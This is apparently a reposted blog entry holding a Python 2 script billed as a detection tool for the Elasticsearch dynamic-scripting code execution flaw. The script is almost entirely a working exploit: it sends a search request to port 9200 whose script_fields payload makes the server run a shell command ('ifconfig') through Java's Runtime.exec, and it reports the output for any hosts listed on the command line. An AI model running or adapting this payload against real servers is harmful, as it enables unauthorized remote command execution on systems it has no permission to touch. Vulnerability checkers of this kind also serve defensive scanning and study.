[更新]Elasticsearch 程式碼執行漏洞利用檢測工具
阿新 • • 發佈:2019-02-20
#!/usr/bin/env python #-*- coding: UTF-8 -*- __description__ = """ detail :http://p2j.cn/?p=1300 solution: http://bouk.co/blog/elasticsearch-rce/ """ __author__ = 'Jekkay Hu' import urllib2 def checkit(domain): if not (str(domain)).startswith('http'): url = 'http://' + domain else: url = domain if url.endswith('/'): url = url.rstrip('/') payload = ":9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;import%20java.io.*;String%20str%20=%20\\%22\\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\\%22ifconfig\\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}" url += payload try: #url = 'http://www.baidu.com/' headers ={"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"} req = urllib2.Request(url, headers=headers) response = urllib2.urlopen(req, timeout=20) html = response.read() if not html: return if str(html).find('\"exp\"') >= 0: return [1, html] except Exception, e: pass if __name__ == '__main__': import sys if len(sys.argv) <= 1: print "Usage: python 20140523Elasticsearch.py 1.2.3.4 11.22.33.44" for i in xrange(1, len(sys.argv)): info = checkit(sys.argv[i]) if info: print "server [%s] is vulable, return data: [%s]" % (sys.argv[i], info[1])